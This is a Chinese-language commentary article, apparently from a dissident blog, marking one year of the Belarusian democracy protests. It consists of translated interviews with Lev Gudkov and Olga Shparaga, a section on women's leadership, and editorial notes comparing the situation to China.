— 即使您的手机没有感染 Pegasus，无孔不入的数据中介行业也极有可能已经在出售您的位置历史记录了。这里有一个具体说明，您真的有必要仔细阅读《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》。○ **HOW TO DEFEND YOURSELF AGAINST THE POWERFUL NEW NSO SPYWARE ATTACKS DISCOVERED AROUND THE WORLD Here’s how to check your phone for Pegasus spyware using Amnesty’s toolHere’s how to check your phone for Pegasus spyware using Amnesty’s tool** 原文

如何成为革命者 - iyouport

反抗者-寻求经验长读

这是一场民主革命，其中公民正在成为主体。横向联网，几乎没有提及光荣的过去。它的横向特征使这场革命的火焰燃烧了一年多，即使它失去了国际关注的焦点，即使时间也被掌握在该政权及其盟友的手中 ..... 但希望之火仍在跳动。

在被操纵的总统选举一年后，白俄罗斯的抗议者仍然在要求进行民主变革，并以相互声援的方式回应镇压性政权。

但是，当你的事业跌落到聚光灯之外时，要怎样才能继续战斗？

本文为纪念白俄罗斯公民反抗斗争一周年。这些反抗者面对着比包括中国在内的很多国家更为残酷和危险的本土维稳和跨国镇压，但他们从未畏惧。他们所展现的对抗争政治的理解、反抗智慧和战术技巧，值得更多国家的公民借鉴学习。

📌 本文分为*5*个部分：

⚔ 第**1**部分：成为一名反对派需要巨大的内心努力。现在是时候重复这一基本常识了—— 真正重要的不是我们的对手，而是我们自己；我们自己的恐惧、虚无和懦弱、患得患失的裹足不前，这些才是真正消解一场变革的病毒。白俄罗斯人成功战胜了这一病毒，中国人呢？我们应该对此有信心吗？

⚔ 第**2**部分：民族革命有什么问题？老反对派的偏执和认知错误，如何能够被新一代的反对派所纠正？这一代际问题在中国也同样有着鲜明的体现 —— 包括通过各种形式（含政治庇护）以移民海外的老一代华人异议，他们中很多人的认知还停留在他们位于前线的当年。

⚔ 第**3**部分：女性革命，不是女权革命。虽然女性在大规模抗议活动中的高能见度和重要作用并不是白俄罗斯独有的，但这里的特殊性在于，女性反抗者在*并没有*强调女权主义的背景下成功动员了整个社

会，在残酷的镇压之下依然让人们看到了希望。她们是如何做到的？

⁂ 第4部分：愤怒的季节，讲述的是整体政治和社会背景，关于是什么激发了这场声势浩大的吸引全球目光的抗议，是什么让大众如此齐心协力地拼搏。这其中您可以看到非常多与中国相似的地方，我们在不同位置进行了标注。于是我们留下的问题是，中国社会的反抗精神将最有可能如何催化？

⁂ 第5部分：不是“他们”能做什么，而是“我们”能做什么—— 这一动员战术非常重要。在中国，我们往往看到对当局的不满和批驳让人们形成凝聚力，这很好，但是，这还不够；一群牢骚满腹的人坐在一起更容易产生的是虚无和疲惫，而非创造性的行动魄力。对 “当局为什么不行” 已经不需要过多重复，当下更加缺少的是对 “反抗者为什么行” 的强调和激励。

2020年8月9日晚，白俄罗斯当局宣布亚历山大·卢卡申科赢得总统选举，为这位独裁者的第六个任期铺平了道路。反对该政权的民众示威活动在选举前已经开始，但当晚的示威活动更加激烈，在该国达到了前所未有的规模。

抗议者对白俄罗斯持久的经济衰退感到愤怒，对不公平的选举过程、包括对反对派候选人遭受的镇压和被操纵的结果提出异议。

一年后，尽管镇压升级，支持民主的抗议活动仍在继续。

关于白俄罗斯以及更广泛的同质问题，见《是谁在帮助这些专制政府对异议人士进行跨国镇压》

除了周年纪念日，最近爆发的国家暴力事件也使白俄罗斯的政治局势重新回到了前台。但在过去的12个月里，时间对每个人来说都不是以同样的方式过去的。

外面的观众将过去一年白俄罗斯的抗议活动与国际媒体上的事件联系起来，引发了对卢卡申科政权镇压性质的关注和愤慨的浪潮。最近的案例包括：奥林匹克运动员克里斯蒂娜·季马诺夫斯卡娅（Krystina Timanovskaya）因质疑男教练的权威而受到威胁；白俄罗斯活动家维塔利·希肖夫（Vitaly Shishov）在乌克兰的可疑死亡；为抓捕异议记者罗曼·普罗塔塞维奇（Roman Protasevich）和学生索菲亚·萨佩加（Sofia Sapega）而拦截航班、改道飞往明斯克的客机；以及该国主要独立媒体 TUT.BY 被关闭。

这些事件肯定有助于将国际社会的注意力拉回到白俄罗斯，即使是在广泛报道的抗议活动的最初阶段。然而，这场革命一直在国际关注的市场中摇摆不定，就像一个流行的热门话题一样迅速滑过。

对于那些亲自参与了抗议活动的人们来说，过去的一年来需要每天都投入进去。在白俄罗斯诗人和活动家汉娜·科马尔（Hanna Komar）的叙述中，监狱是一个“永恒的空间”，被拘留者的日常活动永恒地重复着，只是被不断变坏的条件重新排序。即使是卢卡申科在公共层面上轻描淡写的大流行病，也被用来作为加强对被拘留者镇压的借口，并通过 **Skype** 进行模拟审判。

然而，在科马尔的叙述中，监狱中平坦的时间成为了巩固女囚之间深刻的信任和姐妹情谊的完美背景，这种关系远远超出了监狱的四面墙，构成了相互团结的宝贵网络。

女性的强烈参与从早期阶段就决定了白俄罗斯的起义。Sviatlana Tsikhanouskaya、Maria Kalesnikava 和 Varanika Tsapkala 代表未登记的男性总统候选人，成为反独裁运动的主角，这几乎是偶然的。奥尔加·德林多瓦（Olga Dryndova）指出，她们的论述结合了传统的家庭价值观和女性领导力，但她们并不符合那种“有魅力的女权主义领导人”的原型。那么她们是如何催化反对派运动，动员全国女性的？

白俄罗斯女性的崛起在斯拉文卡·德拉库利奇（Slavenka Drakulić）对她的移民朋友、作家和挚友伊雷娜·弗尔克连（Irena Vrkljan）的纪念中引起了共鸣。德拉库利奇回顾了弗尔克连的言论和行动主义如何激励了一代女作家和知识分子，尽管她拒绝认同为女权主义者。

在某种程度上，白俄罗斯的女性活动家代表了向一个不那么传统的社会的转变。但她们的领导力可能并不完全是基于进步的发展。她们还设法将传统上与她们相关的照护理念引入政治舞台，将其转变为基于共同性和相互团结的政治行动范式。

强大的女性力量也有助于解释白俄罗斯抗议活动的后国家特征，正如反独裁协调委员会成员 Olga Shparaga 所描述的那样。Shparaga 解释说，“这是一场民主革命，其中公民正在成为主体”，“横向联网”，几乎没有提及光荣的过去。它的横向特征使这场革命的火焰燃烧了一年多，即使白俄罗斯失去了国际关注的焦点，即使时间也被掌握在该政权及其俄罗斯盟友的手中。

如果您错过了《去它妈的民族英雄》

监禁和不屈不挠的抵抗的经历，虽然改变了生活，但不值得浪漫化。把革命仅仅归结为英雄的抗议者，就会诱发脱离，导致旁观者的自我封闭和非政治化。但是，在民族国家倾向于退出国际责任，民族自私似乎占据绝对上风的历史时期，白俄罗斯抗议者唤起的共同感提供了一个令人耳目一新的替代方案，值得借鉴。

Part I：成为一名反对派需要巨大的内心努力

「图」

> 自从普京表示支持卢卡申科以来，白俄罗斯独裁者似乎掌握着优势。俄罗斯社会学家 *Lev Gudkov* 在接受 *“Osteuropa”* 采访时认为，只要卢卡申科能依靠克里姆林宫的支持，除了总罢工之外，什么都不会迫使他下台。

Osteuropa：你会如何描述白俄罗斯正在发生的事？

Lev Gudkov：我们看到的是苏联极权主义制度崩溃后在白俄罗斯出现的极权主义政权的危机。无论危机如何结束，专制政府都不会以过去26年持续的那种形式继续存在。很明显，该政权没有足够的资源来维持自己。如果没有莫斯科的帝国中心支持，它是不可持续的。

Osteuropa：人们是如何能够克服恐惧和冷嘲热讽的？

Lev Gudkov：有两个解释，一个是心理上的，另一个是经济上的。经济上的解释是，自2014年以来，卢卡申科政权的商业模式已经停止运作。其中一个原因是石油的低价。白俄罗斯有两个用来加工来自俄罗斯的石油的炼油厂，它和它的邻国一样依赖石油。另一个原因是与莫斯科的冲突。在克里米亚被吞并后，卢卡申科试图利用俄罗斯和西方国家之间的关系恶化，以便从莫斯科获得补贴、石油和天然气的折扣，以及在众多商业事务中获得优惠待遇。否则，他就威胁要让白俄罗斯向西方靠拢。

然而，俄罗斯不允许自己被讹诈，而是削减了对白俄罗斯的让步，以迫使该国形成联盟。这两个因素导致了经济停滞，卡车制造商MAZ对此感受尤深，其产量在过去几年中减少了三分之二。社会状况也恶化了。今天，实际收入仍处于2008年时的水平。

【注：MAZ是俄罗斯老牌卡车制造商，一直以生产结实耐用的商用车为主】

Osteuropa：那么心理学上的解释呢？

Lev Gudkov：对西方民主国家的人来说，这似乎是世界上最自然的事，但对极权主义制度下的人们来说，却不是这样的。投票反对独裁者需要巨大的内心努力。这不仅仅是要克服一个人对警察、对克格勃间谍、或对失去工作的内在恐惧。更加困难的是，如果一个人想要摆脱墨守成规，就会产生情感上的不协调，而墨守成规就像一种集体捕获的形式。脱离会产生一种不忠诚的感觉。奥威尔称其为“思想犯罪”。

但是，不管是谁扔掉了这个铁甲，不管是谁克服了没有其他选择的感觉，都会突然重新获得自尊。成功做到这一点的人越多，集体欣喜和绝对团结的感觉就能越发扩散。这很难用文字描述。人们意识到，他们并不孤单，他们已经成为一种力量，不断吸引着其他人。卢卡申科的反对者所获得的非凡动员产生了雪球效应。突然间，恐惧消失了，随之而来的是习惯性的无能为力开始淡化。时间突然又开始流动了；永恒的僵局让位于对变革的希望，对没有暴政和暴力的新生活的希望。日常的愤世嫉俗和根深蒂固的长期屈辱感已经让位于一种新的自尊感，以及捍卫它的决心。

Osteuropa：俄罗斯人对白俄罗斯有什么印象？

Lev Gudkov：那是一个非常积极的形象。据说，白俄罗斯是俄罗斯最喜欢的国家。在列瓦达中心进行的调查中，白俄罗斯总是排在中国和哈萨克斯坦之上。

Osteuropa：为什么会这样呢？

Lev Gudkov：俄罗斯和白俄罗斯有很多联系。边界是开放的。俄罗斯是白俄罗斯最重要的贸易伙伴，许多白俄罗斯人在俄罗斯工作。所有白俄罗斯人都能说流利的俄语。俄罗斯人和白俄罗斯人在很大程度上有着相同的文化，他们中的许多人甚至看着同样的电视频道。因此，俄罗斯的国家宣传在白俄罗斯非常有影响力。所有这些都减少了双方的偏见和保留。

Osteuropa：在俄罗斯，人们赞成统一吗？

Lev Gudkov：不，人们对把白俄罗斯吸收到俄罗斯联邦中并不特别感兴趣。根据我们的调查，只有13%的俄罗斯人赞成统一。大多数人认为，关系应该保持现状。

Osteuropa：这与俄罗斯人对乌克兰的印象相比如何？

Lev Gudkov：克里姆林宫的宣传将乌克兰描绘成一个外国的、敌对的国家。它一直在诋毁乌克兰人对民主的追求和对西方的关注。在吞并克里米亚之前，这是一项艰难的工作：两国的关系太密切了，两国有共同的文化、经济联系，最重要的是人们有家庭联系。迈丹革命和对克里米亚的吞并改变了一切。

咄咄逼人的国家宣传成功地让俄罗斯的许多人相信，乌克兰发生了政变，激进的民族主义者夺取了政权：所谓的乌克兰反抗军，法西斯分子和俄罗斯的敌人。根据宣传，对俄罗斯开放的唯一途径是保护讲俄语的乌克兰人免遭种族灭绝。

今天，乌克兰在俄罗斯有着极其负面的形象。这在白俄罗斯的情况下是不可想象的。直到最近，卢卡申科还在不断强调该国与俄罗斯的共同利益以及他对苏联价值观的忠诚。在克里姆林宫试图将俄罗斯和白俄罗斯合并为一个国家的努力失败后，他对莫斯科的爆发在俄罗斯几乎没有报道。

Osteuropa：白俄罗斯的事件与亚美尼亚、格鲁吉亚和乌克兰的动荡之间是否有相似之处？

Lev Gudkov：白俄罗斯的情况完全不同。亚美尼亚和格鲁吉亚与邻国或分离主义者发生了武装冲突。亚美尼亚在纳戈尔诺-卡拉巴赫问题上与阿塞拜疆交战了30年。格鲁吉亚在20世纪90年代初对阿布哈兹分离主义者的战争和2008年对俄罗斯的战争中遭受失败。这留下了痕迹。

Osteuropa：什么样的痕迹？

Lev Gudkov：负面巩固发挥了很大作用，我指的是通过排斥外部敌人实现的内部社会融合。战争对社会和国内政策产生了影响，但也影响了对俄罗斯、西方和土耳其的外交政策。白俄罗斯没有这些。它的政治文化更接近俄罗斯的文化。苏联思想依然存在，包括对西方的偏见。

Osteuropa：莫斯科对白俄罗斯的抗议活动是什么态度？

Lev Gudkov：有不同的阶段。普京领导层显然对事态的发展感到惊讶，起初并没有明确的立场。克里姆林宫对选举结果采取了保留、甚至矛盾的态度。

普京向卢卡申科表示祝贺，但他的语气是冷静和正式的。通常充当民族主义鼓动者的政治家们则采取了令人惊讶的消极语气。

弗拉基米尔·日里诺夫斯基谈到了操纵投票，康斯坦丁·扎图林宣布卢卡申科在选举中失败。杜马外交事务委员会主席阿列克谢·普什科夫（Aleksey Pushkov）也持类似观点，他通常会煽动反西方情绪。甚至连外交事务发言人玛丽亚·扎哈罗娃也有效地承认了卢卡申科的失败。她说，他犯了很多错误，对抗议活动负有责任。外交部长谢尔盖·拉夫罗夫后来纠正了这一说法。他说，由于选举期间没有外国独立观察员，因此没有确凿证据证明卢卡申科的失败。

Osteuropa：你如何解释这些矛盾的信号？

Lev Gudkov：克里姆林宫并不想公开支持卢卡申科。最初，它说没有计划向白俄罗斯部署军队，因为根据《集体安全条约》没有理由这样做。同时，高级政客和普京的发言人德米特里·佩斯科夫警告说，反对任何“外国外部势力对联邦国家内部问题的干涉”。只有共产党领导人根纳季·久加诺夫为卢卡申科辩护，警告说“反对派的行动可能导致国家的解体”。

Osteuropa：那普京呢？

Lev Gudkov：普京没有发表评论。而只要普京保持沉默，就没有明确的立场可以被抓住。所以西罗维基也没有说什么。

【注：西罗维基专指俄罗斯政府中由国安和情报机构为背景的政客所组成的政治利益集团。西罗维基们多出身自前苏联克格勃、格鲁乌、俄罗斯联邦安全局、对外情报局和联邦药物管制局等政府机构，并与这些机构保持着密切关系。】

在这一阶段，媒体上出现了接近于多元化的现象。一些电视台在谈论“新独立广场”和西方挑衅的危险。这个所谓的“西方”在波兰、立陶宛和美国之间交替出现。然而，其他电视台则播出了对抗议活动的同情报道。

在这一阶段，如果白俄罗斯反对派能够达成适合莫斯科的条件，普京似乎有可能同意撤换卢卡申科。反对派明确宣布，他们希望继续与俄罗斯保持密切的伙伴关系，并保持经济联系。与欧洲独立运动相比，明斯克的示威活动中并没有反俄的口号。

Osteuropa：这个阶段已经结束了。

Lev Gudkov：是的，克里姆林宫现在正在帮助卢卡申科“恢复秩序”。莫斯科向白俄罗斯派遣了特勤人员作为“顾问”，还有电视记者和技术人员，以取代抗议活动中罢工的白俄罗斯同行。克里姆林宫现在正支持卢卡申科镇压示威活动。这也反映在俄罗斯国家媒体上，他们发起了一场大规模的抹黑运动来诋毁白俄罗斯的反对派，指责他们想要破坏俄罗斯和白俄罗斯之间的联盟关系。

普京宣称，俄罗斯将建立一支“来自安全部门成员的后备力量”，以防止“武装抢劫”，并打击西方情报机构派来的“打着政治口号的极端主义势力”。他间接地将协调委员会称为“外国势力”的工具。在白俄罗斯安全委员会决定平息8月28日白俄罗斯的抗议活动后，普京宣称“白俄罗斯的总统选举已经结束”。

Osteuropa：白俄罗斯的反对派并不这么看。数以万计的人继续走上街头。

Lev Gudkov：是的，反对派能够迫使政权改变路线的唯一途径就是动员更多的人。这就需要在整个工业和运输部门举行大罢工。国家电视台和广播电台的员工必须拒绝工作，军队和警察必须宣布自己中立。

Osteuropa：是否存在暴力升级的风险？

Lev Gudkov：这取决于那些当权者。考虑一下30年前1991年8月在莫斯科发生的政变。当时，军队、克格勃和警察拒绝遵守紧急委员会的指令。他们的正式理由是，不清楚谁是俄罗斯的合法统治者。然而，“第比利斯综合症”也起了很大作用。在**1989**年和**1990**年镇压和平抗议活动之后，军队的声誉受到了严重损害，首先是在第比利斯，然后是在巴库、维尔纽斯和里加。将军们不想为针对平民的进一步暴力承担责任。

【注：“第比利斯综合症”的特点是军官和士兵不愿做出任何战术决定，甚至不愿服从命令，而没有明确的对上级当局的责任。对此可参见《是什么导致了抗议运动的失败，如何才能成功：行动主义（**11**）- 战略智慧是最重要的武器》。】

没有迹象表明白俄罗斯的权力机构以这种方式瘫痪了。如果卢卡申科决定向示威者开枪，这将不可避免地在某个时刻发生。[权力支柱] 裂缝的出现可能需要很长的时间。而反对派没有时间了。人们上街游行的意愿正在消退。

Osteuropa：被排斥的中间法则？

Lev Gudkov：召开圆桌会议，为自由和公平的选举做准备，本来是摆脱僵局的一个办法。但现在这已经不可能了。卢卡申科坚持他的路线："要想举行新的选举就先从我的尸体上踩过去！"他想通过挖掘并实施进一步的镇压来削弱这一运动。他在等待他的对手表现出疲惫的迹象，这样他就可以让国安的猎犬来追捕他们。他想要报复。任何参加过抗议或罢工的人都将受到严厉的惩罚。

Osteuropa：你是否预测白俄罗斯会出现中国北京天安门事件的变种，用坦克碾压和平示威者？

Lev Gudkov：希望不会走到那一步。明斯克的政权更喜欢有针对性的镇压：协调委员会的成员和罢工的领导人被判处监禁而失去行动能力。所有其他可见的抗议运动参与者都将被列入了黑名单，他们将失去工作，不再有维生能力。

在经历了政权可能崩溃的短暂时间后，卢卡申科似乎又占了上风。他有可能试图通过宣布紧急状态、下令封锁和关闭边境来加速事件的发展。他已经为此做好了意识形态上的准备，声称白俄罗斯正受到"来自外部的威胁"，并且正在进行一场阴谋。我们有理由担心他能够完成这一任务，因为他有政府、军队和克格勃及内务部的力量支持他。

也不能排除政权可能在边境上制造事件，以便 —— 就像1980年在波兰发生的那样 —— 实施戒严令并开始彻底镇压反抗运动。这种"事件"将为从俄罗斯派遣军队使局势"正常化"提供理由。但这将意味着卢卡申科政权的独立性的结束。

Osteuropa：留给反对派的选择有哪些？

Lev Gudkov：反对派极不可能通过纯粹的非暴力和宪法方法来实现其目标，尤其是该国的司法机构和所有其他国家机构都完全在独裁者的控制之下。反对派缺乏组织。起初，它的横向动员结构是一个优势，但这样一个无定形的、流动的群体很难在较长时间内维持。如果没有组织来计划和确定下一步的行动，以及处理问题的顺序，那么运动的势头就会崩溃。

【注：这一个行动主义原理，见《先有组织而不是先有运动：Baraza机制》】

Osteuropa：白俄罗斯的抗议活动是否影响了俄罗斯的舆论？

Lev Gudkov：事件正在被密切关注。它们被看作是俄罗斯潜在发展的

原型。克里姆林宫的媒体现在宣称，一场政变正在从国外策划，就像据说在格鲁吉亚和乌克兰两次发生的那样。一些自由派评论员将白俄罗斯的抗议活动与哈巴罗夫斯克的抗议活动联系起来，那里的人们已经为反对拘留当地的州长示威了两个多月。但克里姆林宫的宣传机器已经成功地让许多人相信，针对白俄罗斯政权的抗议活动 “代表了一种威胁”。

Osteuropa：这话怎么说？

Lev Gudkov：列瓦达中心在8月20日至26日期间进行的一项调查结果显示，俄罗斯社会对白俄罗斯事件的反应主要是负面的。与四周前相比，对普京和莫斯科领导层其他代表的支持率大幅上升，这反映了对不稳定的恐惧。

许多受访者勉强承认，人们在白俄罗斯抗议是因为他们受够了卢卡申科，因为白俄罗斯的生活水平下降了，还因为他们对操纵投票和警察的暴力行为感到羞耻。59%的受访者提到了这些因素中的一个。而39%的人认为抗议活动 “是由西方或白俄罗斯反对派挑起的”。不管是出于顺应潮流的愿望、对变化的恐惧还是其他原因，**57%**的受访者希望卢卡申科继续担任总统，只有**17%**的人说他们支持季哈诺夫斯卡娅。其余的人说，他们没有关注事件，或者说选举结果对他们来说并不重要。48%的人认为，总的来说，选举是 “适当的”，而36%的人认为官方结果是伪造的。

毫无疑问，俄罗斯人的态度受到国家宣传的强烈影响，国家宣传用大规模动乱、所谓的 “新梅丹” 和西方敌对行为的说法来吓唬人们。最重要的是具有基本教育资格并受雇于国家的老年人容易受到这种说法的影响，即 普京政权的社会基础。

【注：在这里看到相关更多解释《在破坏性的焦虑之后》】反对卢卡申卡的抗议集会，2020 年 8 月 23 日，明斯克。照片来源：Homoatrox

Part II：不，这场反抗不是民族革命

「图」

> 协调委员会成员 *Olga Shparaga* 认为，白俄罗斯的民族主义反对派已经被边缘化。所谓的民族英雄和垂直权力结构不再具有大众吸引力。现在的重点是和平合作、社会包容和女性的软实力。

Osteuropa: 反对卢卡申科政权的运动的口号之一是 *Žyve Belarus!*（白俄罗斯万岁！）那么，这是一场民族革命吗？

Olga Shparaga: 一场革命确实在白俄罗斯发生了。但这是一场后民族革命。抗议活动的关键概念是“宪法”和“法律”，而不是“民族”。它是关于消除独裁政权的。人们正在为尊重法律、为自由选举、为改变政府的可能性而斗争。这是关于白俄罗斯不仅在名义上成为一个共和国，而且作为法国大革命传统中的公共资源。这是一场民主革命，其中公民正在成为主体。

反对派联盟宣称，这场革命是由“我们所有人一起”进行的，换句话说，是从一个横向联网的社会开始的。基本上没有提到过去。不断提及历史、英雄和神话，恰恰是对一个民族共同体的定义。女性——或者准确地说，一个妇女集体—— 一直处于革命的领导地位，这一事实也与民族主义话语背道而驰，在民族主义语话中，女性的角色是通过生育和抚养孩子来照顾国家的再生产；根据这种观点，女性在政治中没有地位。Chaim Soutine 的画作“Eva”成为革命的象征，这并非巧合。Soutine 是一个出生在现在的白俄罗斯的犹太人。这都与民族主义的同质化、单一民族的想法相矛盾。

*Osteuropa: 1918*年短暂的白俄罗斯共和国无处不在的红白相间的旗帜在过去的二十五年里一直是民族反对派的象征，那么它现在又是什么呢？

Olga Shparaga: 旗帜和口号“Žyve Belarus”都只是官方符号的替代品，它们将人们团结在一起，却没有掩盖他们之间的差异。有些人说俄语，有些人说白俄罗斯语。革命歌曲‘Mury’（墙）是波兰歌手 Jacek Kaczmarski 的团结会会歌和革命赞歌，用两种语言演唱；另一首革命赞歌是俄罗斯摇滚歌手维克多·措伊（Viktor Tsoi）的‘Peremen’（改变），来自改革时代。这与“Žyve Belarus!”的口号一点也不矛盾。

在选举后当局的暴行之后，口号和旗帜都有了新的含义，而这一含义一直是它们固有的。它们代表着洒下的鲜血和对死亡的斗争。白色也被用于人们在选举日佩戴的“诚信臂章”。8月12日之后，抗议警察暴力的女性反抗者穿着白色衣服，以示团结。使用白色并不是因为它是国旗中的颜色，更多的是旗帜和白色相匹配。

Osteuropa: 这种解释是一致的吗？

Olga Shparaga: 当然，反对派中也有一些人认为这是一场民族革命，

他们认为白俄罗斯终于形成了自己的国家。他们包括那些围绕“为了自由”（“За свабоду！”）运动或围绕白俄罗斯基督教民主党的人。他们的出现首先要归功于奥尔加·卡瓦尔科娃，她代表斯维娅特拉娜·季哈诺夫斯卡娅参加协调委员会主席团。 但是，当人们更仔细地询问这是一个什么样的民族时，就会立即出现一系列的定义。例如，Zianon Pazniak [负责揭示库拉帕蒂NKVD万人坑的考古学家，1980年代末白俄罗斯人民阵线的创始人之一]的右翼保守派版本。然后是围绕杂志和出版社 Arche 的中间派、知识分子民族主义，其重点主要是历史。还有 symbal.by 的“流行”民族主义，一个文化倡议和企业。没有共同的民族思想，而是各种思想的复调—— 似乎没有人，或者说很少有人会介意。尽管民族主义者声称，并不存在文化冲突。反俄主义是几乎所有形式的白俄罗斯民族主义的组成部分。但由于在这场革命中很少有反对俄罗斯的声音，所以民族问题一直处于边缘地位。

【注：内务人民委员会 (NKVD)是苏联在斯大林时代的主要政治警察机构，也是1930年代苏联大清洗的主要实行机关。内务人民委员会所下辖的国家安全总局是克格勃的前身。 该组织除担任常规警察的角色外，其属下部门也负责其他事务，如交通管制、消防、国境警备和国家档案管理等。】

当然，白色和红色的旗帜是白俄罗斯人民共和国的象征。但今天很少有人谈及这个问题。人们不是在寻找过去的英雄形象。相反，他们面向和平合作（而不是竞争），横向结构（而不是精英民族主义的纵向结构），以及女性的“软实力”（而不是骑马的武装人员）。在我看来，抗议活动是关于社会包容的新策略，以及如何以民主的方式组织起来，使不同的人和群体得到认可，而不是否定他们的差异。明斯克购买了价值10亿美元的俄罗斯武器

Osteuropa: 抗议活动一直在全国各地发生。他们在各地都是一样的吗？还是当地的关切在起作用？

Olga Shparaga: 抗议活动的区域化是一个新现象。在竞选期间，季哈诺夫斯卡娅和她的团队与每个城市的公民谈论他们的具体问题——例如，在布列斯特，关于反对建造电池厂的运动。然而，共同的话题主导了所有抗议活动：看不到未来、贫困和腐败；在**COVID-19**大流行期间国家对公民的蔑视；以及现在惯常的选举结果造假行为。

Osteuropa: 你在其他地方曾经指出，匈牙利、波兰和美国的镇压行为是社会动荡回归的结果。白俄罗斯的情况是否不同？

Olga Shparaga: 白俄罗斯的人们已经受够了专制、家长式的镇压国家。该政权一直声称，白俄罗斯是该地区唯一强大的福利国家。过去在某种程度上可能是这样，但多年来，福利国家已经被侵蚀了。白俄罗斯研究机构IPM进行的研究已经清楚地表明了这一点。

大流行病只是使情况变得更糟。它揭示了整个行政部门的运作效率低下，国家及其官员看不起人民。因此，人们开始互相帮助。志愿工作是非常重要的。但国家媒体对此保持沉默，同时掩盖了感染率和死亡率上升的事实。这使得白俄罗斯的许多人将反对国家的斗争视为最重要的任务。

然而，对独裁主义的批评往往伴随着这样的想法：我们也需要从福利国家本身中解放出来。相当一部分 “老反对派” 相信这一点。最小国家的想法在反对派圈子里非常普遍。例如，白俄罗斯联合公民党自1990年代中期以来就一直倡导这一思想。今天，该党有一个名为 “青年民主党” 的青年派系，他们认为自己是自由主义者。

”老反对派“ 是在苏联国家社会主义的反动思想和新自由主义思想的双重影响下出现的。其成员将政治权利与社会权利分开，并将市场视为保障社会正义的唯一机制。例如，白俄罗斯的民族主义者对苏联国家社会主义和北欧社会民主主义完全分不清。因为对民族主义者来说，文化认同和历史一直是最重要的，所以从来没有任何空间来讨论经济问题。“社会主义是问题，自由市场是解决方案” —— 句号，完。平等被视为苏联的 “遗物”，女性、**LGBT**人群、老年人或残疾人的权利都与此相关。【注：这部分非常像中国社会】

Osteuropa: 那么 “新反对派” 是怎么想的呢？

Olga Shparaga: 在过去的十年里，出现了许多社会组织，对他们来说，包容和社会权利是关键概念。例如，人权组织 “人类康斯坦丁”（Human Constanta）、为反对家庭暴力立法而斗争的 “前进，宝贝!” 运动、白俄罗斯积极青年项目、布雷斯特的 Kryly Khalopa 剧院等等。他们认为，社会权利是政治权利的一个组成部分。所有这些组织都与白俄罗斯以外的批评新自由主义议程的社会运动有关。他们将有望在必要的政治和经济转型中发挥重要作用，使其摆脱新自由主义计划。从左到右：Svetlana Tikhanovskaya © *BMEIA / Gruber*，Veronica Tsepkalo，I *ryna Pranovich*，Maria Kalesnikava，*Сильные Новости：GomelTube*。全部来自维基共享资源

Part III：女性革命，不是女权革命

「图」

> 在白俄罗斯政治生活中根深蒂固的父权文化对该国大部分人口来说已经显得过时了。斯维特兰娜·格奥尔基耶娃·季哈诺夫斯卡娅 *(Tsikhanouskaya)*、玛丽亚·阿列克谢耶芙娜·科列斯尼科娃 *(Kalesnikava)*和维拉尼卡·察普卡拉 *(Tsapkala)* 将传统和女权主义的价值观结合起来，使这一巨变有了形式和表现。

斯维特拉娜·季哈诺夫斯卡娅、玛丽亚·科列斯尼科娃和维拉尼卡·察普卡拉的白俄罗斯革命女性三人组的鼓舞人心的图像，以及8月选举造假后妇女和平抗议的大量图像，似乎已经到达了全球的每个角落。国际观众钦佩她们的力量、勇气和活力。但要知道，女性在大规模抗议活动中的高能见度和重要作用并不是白俄罗斯独有的。我们可以在拉丁美洲、美国和阿拉伯之春期间观察到这一点。并且还有一个全球趋势显示，女性的抗议活动往往暴力程度较低，规模较大，而且更加多样化。

但是，这些行动的背后究竟代表着什么？我们可以说这是白俄罗斯的女权革命吗？它是一个长期趋势的结果吗？还是一个完全不可预测的现象，甚至对白俄罗斯人来说？

从统计学上讲，白俄罗斯在性别平等方面做得不错。例如，在2019年性别不平等指数中，它在189个国家中排名27（与英国相同，高于俄罗斯和美国）。2020年《全球性别差距报告》将白俄罗斯排在第29位（在153位中），而在女性的 “经济参与和机会” 部分，白俄罗斯的表现也好过几乎所有欧洲国家，除了冰岛。然而，其在女性政治赋权方面的排名却低于世界平均水平（第**81**位）。

2018年，白俄罗斯议会中女性所占席位的比例为33%—— 是俄罗斯的两倍，高于德国、英国和美国。随着时间的推移，这一点没有什么变化：早在2004年，亚历山大·卢卡申科就宣布女性议员的配额为30%。显然，白俄罗斯议会不能以民主制度中对待该机构的方式对待；但是，从理论上讲，白俄罗斯女性在政治上是有代表的。此外，《白俄罗斯2030年前可持续发展国家报告》中提到，70%的公务员和68%的司法部门雇员是女性。

而当我们观察政府高级职位时，情况就发生了突变，在白俄罗斯的**24**个部委中，目前只有一名女性在负责。担任总统行政部门负责人的纳塔利娅·卡恰纳瓦的职位是个例外。不过，在反对派方面，已经有不少女性政治家。早在2016年，在110名候选人中，两名独立人士 ——

汉娜·卡纳帕克亚和阿莱娜·阿尼西姆 —— 意外地进入了众议院（白俄罗斯议会的下议院）。当局允许她们 “当选”，以便西方可以看到白俄罗斯正在发生某种程度的自由化。然而，这些女性并没有在公众中获得多少人气。

在2015年的选举中，真正受欢迎的一位女性候选人是白俄罗斯第一位女性总统候选人塔蒂亚娜·卡娃可维奇。她是 “说出真相” 运动的联合领导人，根据独立民意调查，她获得了约20%的选票（约100万票）。在竞选中，卡娃可维奇强调变革的和平性质，并通过走访各地区并与人们谈论他们的问题而获得支持。最重要的是，她的受欢迎程度与白俄罗斯人还没有准备好接受一位女性领导人的流行看法相矛盾。

这种信息通常是由国家当局表达的。据报道，中央选举委员会主任莉兹娅·亚尔莫什纳曾说，她认为女性在政治中没有地位，尽管她自己担任了20多年的高级职务。过去，她曾说过 “女人最好是在家煮汤，而不是去出门抗议”（2010年）；“女人不像男人那样有创造力，因此不能做出出人意料的勇敢决定”（2015年）；以及 “女人本质上是不懂政治的”（2016年）。

卢卡申科经常称赞女性是 “大自然的伟大创造”，“人类美丽的一半” 和 “家庭价值观的守护者”。在他看来，“女人的天职是装饰世界，而男人的天职是保护世界和保护女人”。然而，他在今年5月发表的 “白俄罗斯宪法不是为妇女写的” 和 “如果把这种（权力）负担放在妇女身上，她会崩溃的，可怜的东西” 等言论确实令人不齿。这些话在许多白俄罗斯女性中引起了巨大的愤怒，她们向检察院提出了对总统的投诉。

尽管总统的观点显然没有改变，但白俄罗斯社会很可能已经改变。2011年，总统的类似言论并没有引起多大反应。他能够轻松地说出这样的话：“我不会把总统职位让给一个 ‘弱者’ 的代表”。然而，父权等级制度和性别歧视 —— 在公共场所、工作场所和家庭中 —— 在白俄罗斯仍然存在。在职业生涯中取得成功的女性往往在家庭中面临不平等。因此，女性继续受到基于性别的定型观念和歧视。

